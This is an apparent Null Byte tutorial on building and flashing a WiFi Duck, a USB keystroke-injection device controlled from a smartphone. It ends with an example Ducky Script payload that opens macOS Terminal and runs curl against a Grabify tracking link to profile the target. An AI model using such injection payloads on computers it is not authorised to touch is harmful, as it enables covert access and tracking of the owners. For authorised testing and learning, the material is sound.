How to Perform Keystroke Injection Attacks Over Wi-Fi with Your Smartphone « Null Byte :: WonderHowTo

With just two microcontrollers soldered together, you can inject keystrokes into a computer from a smartphone. After building and programming the device, you plug it into a desktop or laptop, access it over a smartphone, and inject keystrokes as you would with aUSB Rubber Ducky.However, with a Rubber Ducky, you need to first know the type of computer and its operating system, followed by the payload you want to use, so you can program the hacking device to do your bidding. There is no real-time interaction from you — it just does whatever you preloaded on it.With our homemade device, you don't have to know what the computer model and operating system is beforehand that you want to hack. Instead, you load a ton of different payloads onto the device so that you can choose from any one of them after connecting to a computer you hadn't laid eyes on until right before you plugged your hacking device in.Don't Miss:Spy on Traffic from a Smartphone with WiresharkThe device we're creating is called aWiFi Duck, a tool designed by Spacehuhn that uses Ducky Script, and it'ssomething we've covered before. There are three ways you can go about getting a WiFi Duck, which you can see below. One is for more advanced users, one for moderate tinkerers, and an easy premade WiFi Duck.Option 1: Build a WiFi Duck with a PCB & Solder (Advanced)To perform this magic, we'll be combing two different microcontroller units (MCUs) — a Pro Micro and D1 Mini — onto a circuit board. This will require a little bit of soldering, but it doesn't require tons of costly materials to build from scratch since the components are all relatively low-cost.Here are some options on Amazon for the Pro Micro MCU:KeeYees Pro Micro ATmega32U4 (3 Pack)(currently $16.79)Generic Pro Micro ATmega32U4 (1 Pack)(currently $13.99)AITRIP Pro Micro ATmega32U4 (1 Pack)(currently $8.69)AITRIP Pro Micro ATmega32U4 (4 Pack)(currently $18.99)OSOYOO Pro Micro ATmega32U4 (1 Pack)(currently $10.99)KOOKYE Pro Micro ATmega32U4 (3 Pack)(currently $19.97)And for the D1 Mini:IZOKEE ESP8266 ESP-12F D1 Mini (3 Pack)(currently $12.69)IZOKEE ESP8266 ESP-12F D1 Mini (5 Pack)(currently $15.79)Organizer ESP8266 ESP-12F D1 Mini (5 Pack)(currently $15.89)As for the printed circuit board (PCB) needed to put both of those MCUs together, you can get the design from Spacehuhn on EasyEDA. We'll be using the Pro Micro + D1 Mini PCB, but there's also a Pro Micro + NodeMCU design if you'd rather go that route.DIY WiFi Duck (Pro Micro + Wemos D1 Mini)(starting at $4)DIY WiFi Duck (Pro Micro + NodeMCU)(starting at $4)Click on "Open Editor" for the PCB schematics, then choose "Fabrication" from the menu, followed by "PCB Fabrication File(Gerber)." On the pop-up, choose "Yes" or "No" for Design Rule Checking, depending on your preference, and you'll see options to change the quantity of the order, the PCB thickness and color, the surface finish, and copper weight. When ready, click on "Order at JLCPCB" and order them.Alternatively, you can just go straight to buying the right PCB on Oshpark:WiFi Duck Pro Micro + D1 Mini($6.50)WiFiDuck Pro Micro + NodeMCU($10.30)Now, if you don't already have soldering equipment, here's a beginner set and some solder that'll work for circuit boards and other electronics:Anbes 60W Soldering Iron Kit(currently $21.99)MAIYUM 63-37 Tin Lead Rosin Core Solder Wire(currently $7.99)And you'll need a Micro-USB cable to connect the boards to your computer:Nylon Braided Micro-USB Data Cable(currently $4.98)Option 2: Build a WiFi Duck with Prototyping Boards & Wire (Moderate)If you're not interested in easier portability and just want to build one for the learning experience, you can also skip the PCB and soldering gear and use solderless prototyping boards with jumper wires and a Micro-USB cable. We have thefull instructionsfor building a WiFi Duck in this manner in an earlier guide. If you follow that guide, skip to Step 8 to start hacking.Hack Computers Over Wi-Fi with the WiFi Duck Payload DelivererOption 3: Buy a Premade WiFi Duck (Beginners)If you don't want to do any of the hard work of building one of these devices from scratch, you can buy the official WiFi Duck, designed by Spacehuhn. If you go this route, you won't need the Pro Micro, D1 Mini, PCB, and soldering gear. Skip to Step 8 below to get straight to hacking.DSTIKE WiFi Duck USB Keyboard(currently $39.99)Step 1: Solder the D1 Mini Header Pins to the PCBBefore mounting the MCUs, you'll need to solder the header pins to the PCB. Start with the short end of the header pins that came with the D1 Mini. Push them into the holes on the D1 Mini side of the PCB, then turn it around and solder the pins from the Pro Micro side. When soldering, make sure the pin headers are as straight as possible so that there are no issues when you go to mount the D1 Mini.Step 2: Solder the Pro Micro to the PCBTake the short side of the header pins for the Pro Micro and insert them into the holes from the Pro Micro's blank side. On the opposite side of the Pro Micro, solder each pin into place securely.Next, push the pins' long ends into the holes from the Pro Micro side of the PCB. Make sure to orient the Pro Micro as depicted on the PCB, with the USB port facing the Keyboard/USB HID silkscreen. Push it in all the way, then solder them in place.Step 3: Solder the D1 Mini to the PCBOn the D1 Mini side of the PCB, mount the D1 Mini, following the orientation depicted on the PCB — with the USB port facing inward toward the PCB and to the Debugging silkscreen. Both the D1 Mini's and Pro Micro's USB ports should be facing the same way. Next, push up the D1 Mini to the tips of the long header pins so that there's some space between the D1 Mini and PCB, and solder them in place carefully.Step 4: Prepare the Arduino IDETo flash the programs to the MCUs, we'll use Arduino IDE, but you'll need to configure Arduino IDE to work with both boards. Go to "Arduino" in the menu, then "Preferences." In theAdditional Boards Manager URLsbox, add the following two URLs, and click "OK."https://raw.githubusercontent.com/spacehuhn/hardware/master/wifiduck/package_wifiduck_index.jsonhttps://arduino.esp8266.com/stable/package_esp8266com_index.jsonNext, go to "Tools" in the menu, hover on "Board," and select "Boards Manager." Perform a search for "wifi duck," then install both the WiFi Duck AVR Boards and WiFi Duck ESP8266 Boards options. If you already have them, make sure they're up to date. Click "Close" when done.Step 5: Download the WiFi Duck RepoTo get the code for both the ESP8266 and ATmega32U4, download the WiFi Duck repository as a zip file from GitHub. You can find it at the following link. Then unzip it on your computer.github.com/spacehuhn/wifiduckStep 6: Flash Code to the Pro MicroFrom the unzipped folder, navigate toatmega_duck, then open theatmega_duck.inosketch in Arduino IDE. No adjustments to the code are necessary. With it open in Arduino IDE, go to "Tools" in the menu, hover on "Board," then "WiFi Duck AVR," and choose the board that you have.Connect the ATmega32u4 board to your computer via your Micro-USB cable, then select its port in the "Port" selection in the "Tools" menu. If you don't see your board's serial port show up, the first thing you should do is make sure you're using a proper Micro-USB cable that works with data transfers.When you're done, click the "Upload" button in the project to flash the program to the board. Then just wait for the code to finish flashing over; you'll get a notification at the bottom of the project.Step 7: Flash Code to the D1 MiniNow, it's the ESP8266's turn. From the repo, go into theesp_duckfolder, then open theesp_duck.inosketch in the Arduino IDE. No adjustments to the code are necessary. With it open in Arduino IDE, go to "Tools" in the menu, hover over "Board," then "WiFi Duck ESP8266," and choose the board that you have.After disconnecting the ATmega32U4, connect the ESP8266 board to your computer via your Micro-USB cable, then select its port in the "Port" selection in the "Tools" menu. Again, if you don't see your board's serial port show up, check that you're using a proper Micro-USB cable.When you're done, click the "Upload" button in the project to flash the program to the board. Then just wait for the code to finish flashing over; you'll get a notification at the bottom of the project.Step 8: Connect Your WiFi Duck to a Target ComputerYou're all ready to start your keyboard injection at this point. Unplug the D1 Mini from your computer, then plug the Pro Micro into the target computer.Step 9: Connect to Your WiFi Duck's Wi-FiOn your attack smartphone or computer, change your Wi-Fi connection to the "wifiduck" network and use "wifiduck" as the password. You won't have any internet, but you'll be communicating with your WiFi Duck to issue commands. Next, open a browser and visit192.168.4.1— the interface that lets you do things like run the device, save scripts, and more.Now, on the interface, there are a lot of cool things you can do. For example, you can create new scripts using the "Create" button underScripts. That way, you can save all of your payloads for easy access later and use them just by hitting "Run" next to the appropriate script.You can also go into the "Settings" menu and change the WiFi network's SSID and password, and even the channel that it's broadcasting on if there's a lot of congestion on the current one.Back in the "WiFi Duck" menu, you can go to theEditorsection and type or paste in a script you want to use. In my example, it's a script that will callback toa Grabify tracking link.If you scroll down further on the main page, in theFunctionssection, you can see examples of all the commands you can use in your Ducky Script payloads. Below that, you can even see all of the keys you can use, which can even be used together to perform hotkey combinations.Don't Miss:Hack MacOS with Digispark Ducky Script PayloadsStep 10: Run a Payload on the Target ComputerNow, let's go back to my example script, a script that will callback to a Grabify tracking link from a curl request in a terminal window. This is built with a MacBook Pro in mind:GUI SPACE
DELAY 1000
STRING terminal
DELAY 500
ENTER
DELAY 2000

STRING curl --silent --output /dev/null https://grabify.link/3ZLI4E
DELAY 250
ENTERGUI SPACEopens Spotlight Search in macOS,DELAY 1000adds a pause for a second,STRING terminalshows the Terminal app in Spotlight,DELAY 500adds a pause for a half-second,ENTERselects Terminal, andDELAY 2000waits a couple of seconds while Terminal opens and loads.Now, the nextSTRINGtypes "curl --silent --output /dev/nullgrabify.link/O8A7WX" into the prompt,DELAY 250adds a quarter-second, thenENTERexecutes the payload. Back on our Grabify window, we'll be able to see information about the computer since we just had it use our tracking link.Don't Miss:Catch an Internet Catfish with Grabify Tracking LinksSo Simple That Anyone Can Do It!While the WiFi Duck is easy to create and simple to use, it's important to note that it is not encrypted. Also, it creates a Wi-Fi hotspot that is 100% detectable by anyone nearby. So it's not the most subtle tool in a heavily monitored environment. And it should go without saying: don't use this on any target computers that you aren't authorized to use it on because that would be illegal in many different jurisdictions.Don't Miss:How to Load & Use Keystroke Injection Payloads on the USB Rubber DuckyWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo, screenshots, and GIFs by Retia/Null ByteRelatedHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Inject Keystrokes into Logitech Keyboards with an nRF24LU1+ TransceiverHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHacking Gear:10 Essential Gadgets Every Hacker Should TryHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Automate Wi-Fi Hacking with Wifite2How To:Select a Field-Tested Kali Linux Compatible Wireless AdapterHow To:Hack Wi-Fi Networks with BettercapHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:The Beginner's Guide to Defending Against Wi-Fi HackingRelease the KRACKen:WPA2 Wi-Fi Encryption Hackable Until All Clients & APs Are PatchedHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Protect Yourself from the KRACK Attacks WPA2 Wi-Fi VulnerabilityHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHacking Android:How to Create a Lab for Android Penetration TestingAndroid for Hackers:How to Backdoor Windows 10 Using an Android Phone & USB Rubber DuckyHow To:Track Wi-Fi Devices & Connect to Them Using ProbequestHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow to Hack Wi-Fi:Stealing Wi-Fi Passwords with an Evil Twin AttackHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:Use an ESP8266 Beacon Spammer to Track Smartphone UsersHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationSQL Injection 101:How to Avoid Detection & Bypass DefensesSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSGuide:Wi-Fi Cards and ChipsetsNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali Linux